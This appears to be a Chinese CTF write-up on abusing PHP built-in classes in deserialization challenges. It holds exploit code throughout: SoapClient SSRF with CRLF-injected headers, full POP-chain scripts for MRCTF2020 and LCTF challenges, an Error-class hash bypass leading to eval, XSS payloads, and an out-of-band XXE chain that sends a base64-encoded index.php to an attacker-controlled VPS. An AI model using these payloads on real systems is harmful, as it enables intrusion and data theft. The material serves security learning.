php原生类安全

原生类指的是php自带的一些类,原来实现一些功能,比如报错等等

最近看反序列化的题目比较多,有一种题目,构造pop链到一半发现没有类可以用了,这种情况就要想到去利用php原生类来打一些组合拳,比如ssrf、xss、xxe

SoapClient类[SSRF]

Soap协议采用HTTP来进行通信,可以在phpinfo()里面查看php是否安装了该插件

这里就摘一个重要的方法

1
2
3
4
5
6
7
8
9
10
11
12
class SoapClient{
public __construct(string $wsdl,array $options=[])
//https://www.runoob.com/wsdl/wsdl-intro.html 这里有wsdl的解释
//第一个参数是来选择是否用wsdl模式,设置为null的话就非wsdl模式
//第二个参数是数组,若使用wsdl模式,则该参数可选;若非wsdl模式,则至少设置location和url
//location 发送请求的目标url;uri 目标服务的命名空间
//$options=>location string,uri string,user_agent string
public __call(string $name,array $args)
{
//会发送前面__construct设定好的包
}
}

这里第二个参数array里面的user_agent还可以拿来设置一些其它的东西,比如cookie

‘user_agent’=>”admin\r\nCookie: PHPSESSID=xxx\r\n”

1
2
3
4
5
6
7
8
9
10
11
#展示一下__call
<?php
$a=new SoapClient(null,array
(
'location'=>"http://xxx:2333/",
'uri'=>'test',
'user_agent'=>"from kenoe"
)
);
$a->c();
?>

然后在vps上__nc -lvvp 2333__

还可以继续尝试一些骚操作

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$target = "http://xxx:2333/";
$post_string = 'flag=xxx';
$a=new SoapClient(null,
array(
'location'=>$target,
'uri'=>'exp',
'user_agent'=>"kenoe\r\nContent-Type: application/x-www-form-urlencoded\r\nContent_Length: ".
(string)strlen($post_string)."\r\n\r\n".$post_string
)
);
$a->aaa();
?>

在user-agent那里把真正的Content_Length挤到下面去

MRCTF2020[Ezpop_Revenge]

www.zip源码泄露,直接代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#flag.php
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>
#Plugin.php
<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
?>

继续去追踪Typecho_Db这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#Db.php
<?php
class Typecho_Db
{
private $_adapter;
private $_prefix;
private $_adapterName;
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

这里可以构造反序列化一个HelloWorld_DB类,然后触发__wakeup方法,又构造了一个Typecho_Db类,发现传的一个参数会变成字符串拼接,于是想到了__toString魔术方法,全局搜索一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#Query.php
<?
class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;
private $_prefix;
private $_params = array();
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}

return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}

}

这里看到调用了_adapter的一个方法,这里想到用__call方法,全局搜索了一下,发现Typecho_Plugin类有这个方法,没发现什么利用方式,这里就想到要用到SoapClient类的__call方法了,进行一个ssrf的打,所以这里pop链出来了

HelloWorld_DB.__wakeup->Typecho_Db.__construct->Typecho_Db_Query.__toString->SoapClient.__call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#exp.php
<?php
error_reporting(0);
class HelloWorld_DB{
private $coincidence;
public function __construct()
{
$this->coincidence = array("hello" => new Typecho_Db_Query());
}
}

class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;
public function __construct()
{
$target = "http://127.0.0.1/flag.php";
$this->_adapter = new SoapClient(null, array(
'location' => $target,
'user_agent' => "kenoe\r\nX-Forwarded-For:127.0.0.1\r\nCookie: PHPSESSID=g5u1kjdqmenl4e3hvae8l7atf3",
'uri' => 'exp'
)
);
$this->_sqlPreBuild = ['action' => "SELECT"];
}
}
$a = serialize(new HelloWorld_DB());
echo urlencode(base64_encode($a));
?>

bestphp’s revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
#flag.php
<?php
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
?>

这里可以猜测没有其它类利用,还是用SoapClient来进行攻击

1
2
3
4
5
6
7
8
9
10
11
#exp.php
<?php
$a=new SoapClient(null,
array('location'=>"http://127.0.0.1/flag.php",
'uri'=>'exp',
'user_agent'=>"kenoe\r\n
Cookie: PHPSESSID=qg1fr26m5n275n9c8j5jbnbhj7\r\n"
)
);
echo "|".urlencode(serialize($a));
?>

接下来我们要寻找反序列化的点,根据源码猜测是session反序列化,这里就要去修改session.serialize_handler的数值,这里就用

call_user_func(session_start,serialize_handler=php_serialize)来实现序列化引擎的修改,此时我们先

然后要触发SoapClient的call魔术方法实现ssrf,这里要提到call_user_func()

当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名

这里传个

f=extract

b=call_user_func

就得到flag

Error/Exception类[XSS、绕过哈希]

Error

适用版本php7,在开启报错的情况下可使用

1
2
3
4
5
class Error
{
public __construct(string $message="",int $code=0,?Throwable $previous = null)
public __toString()
}

利用方法是直接用echo Error类的方法去触发xss

1
2
3
4
<?php
$a=new Error("<script>alert('kenoe')</script>");
echo $a;
?>

访问直接

会输出

Error: in D:\phpstudy_pro\WWW\a.php:2 Stack trace: #0 {main}

因此发现不同的Error类输出的内容其实是一样的,可以原来绕过哈希比较

Exception

适用于php5、7版本,开启报错的情况下

用法和Error一样

1
2
3
4
<?php
$a=new Exception("<script>alert('kenoe')</script>");
echo $a;
?>

Greatphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

这里用两个Error类就可以绕过,但是要注意Error类必须写在同一行,因为报错包含了行数,这里贴一下大佬的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#exp.php
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

记得先加上?>来闭合脏数据,然后用取反来绕过

SimpleXMLElement类[XXE]

1
2
3
4
5
class SimpleXMLElement
{
public function __construct(string $data,int $options=0,bool $data_is_url=false,string $ns="",bool $is_prefix=false)

}
data 必需。形式良好的 XML 字符串或 XML 文档的路径或 URL(如果 data_is_url 是 TRUE)。
options 可选。规定附加的 Libxml 参数。通过指定选项为 1 或 0(TRUE 或 FALSE,例如 LIBXML_NOBLANKS(1))进行设置。可能的值:LIBXML_COMPACT - 激活节点的优化配置(可加速应用程序)LIBXML_DTDATTR - 设置默认的 DTD 属性LIBXML_DTDLOAD - 装载额外的子集LIBXML_DTDVALID - 验证 DTD 有效性LIBXML_NOBLANKS - 删除空节点LIBXML_NOCDATA - 将 CDATA 设置为文本节点LIBXML_NOEMPTYTAG - 扩展空标签(例如


),仅在 DOMDocument->save() 和 DOMDocument->saveXML() 函数中有效LIBXML_NOENT - 替代实体LIBXML_NOERROR - 不显示错误报告LIBXML_NONET - 装载文档时停止访问网络LIBXML_NOWARNING - 不显示警告报告LIBXML_NOXMLDECL - 当存储一个文档时放弃 XML 声明LIBXML_NSCLEAN - 删除多余的名称空间声明LIBXML_PARSEHUGE - 设置 XML_PARSE_HUGE 标志,用来放宽解析器的任何强制限制。这将影响诸如文档的最大深度和文本节点大小限制等。LIBXML_XINCLUDE - 使用 XInclude 替代LIBXML_ERR_ERROR - 获取可纠正的错误LIBXML_ERR_FATAL - 获取致命错误LIBXML_ERR_NONE - 不获取错误LIBXML_ERR_WARNING - 获取简单警告LIBXML_VERSION - 获取 libxml 版本(例如 20605 或 20617)LIBXML_DOTTED_VERSION - 获取带点的 libxml 版本(例如 2.6.5 或 2.6.17)
data_is_url 可选。如果是 TRUE 表明 data 是 XML 文档的路径或 URL,而不是字符串数据。默认是 FALSE。
ns 可选。规定命名空间前缀或 URI。
is_prefix 可选。规定一个布尔值。如果 ns 是前缀则为 TRUE,如果 ns 是 URI 则为 FALSE。默认是 FALSE。

可以设置data_is_url为true,来实现远程载入xml文件,实现xxe

第一个参数data原来设置自己的vps地址

[SUCTF 2018]Homework

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 
class calc{
function __construct__(){
calc();
}

function calc($args1,$method,$args2){
$args1=intval($args1);
$args2=intval($args2);
switch ($method) {
case 'a':
$method="+";
break;

case 'b':
$method="-";
break;

case 'c':
$method="*";
break;

case 'd':
$method="/";
break;

default:
die("invalid input");
}
$Expression=$args1.$method.$args2;
eval("\$r=$Expression;");
die("Calculation results:".$r);
}
}
?>

这里运行计算器可以看到url

show.php?module=calc&args[]=2&args[]=a&args[]=2

发现module调用类,这里用它调用SimpleXMLElement类,然后引用外部的恶意xml,首先在vps上布置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#evil.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://xxx/send.xml">
%remote;
%all;
%send;
]>
#send.xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://47.xxx.xxx.72/send.php?file=%file;'>">
#send.php
<?php
file_put_contents("result.txt", $_GET['file']) ;
?>

通过这种方式,可以联合xxe打组合拳

Directorylterator、Filesystemlterator类[目录遍历]

1
2
3
4
DirectoryIterator extends SplFileInfo implements SeekableIterator {
public __construct ( string $path )
public __toString ( ) : string // 以字符串形式获取文件名
}

利用方式如下

1
2
3
4
<?php
$dir=new DirectoryIterator("/");
$dirr=new DirectoryIterator("glob:///*flag*"); //配合glob协议
echo $dir;

Globlterator类[目录遍历]

这个类和前面两个的区别在于,自带glob协议

1
2
3
<?php
$dir=new Globlterator("/*flag*");
echo $dir;

可用它绕过open_basedir

SplFileObject类[文件读取]

1
2
3
4
5
6
7
<?php
$a=new SplFileObject('/etc/passwd');
echo $a; //读取一行
foreach($a as $af)
{
echo $af;
}

ReflectionMethod类[获取注释内容]

ReflectionMethod::getDocComment可以获取注释内容

1
2
3
4
5
class ReflectionMethod
{
public function __construct(object|string $objectOrMethod,string $method);
public function __construct(string $classMethod);
}

类似的使用方法还有很多

我们用的比较多的是 ReflectionClass类、ReflectionObject 和ReflectionMethod类,

ReflectionClass 通过类名获取类的信息;

ReflectionObject 通过类的对象获取类的信息;

ReflectionMethod 获取一个方法的有关信息。

其他的还有

ReflectionException类

ReflectionFunction类

ReflectionExtension类

ReflectionFunctionAbstract 类

ReflectionGenerator类

ReflectionParameter 类

ReflectionProperty类

ReflectionType类

参考资料

php原生类

Phar与Stream Wrapper造成PHP RCE的深入挖掘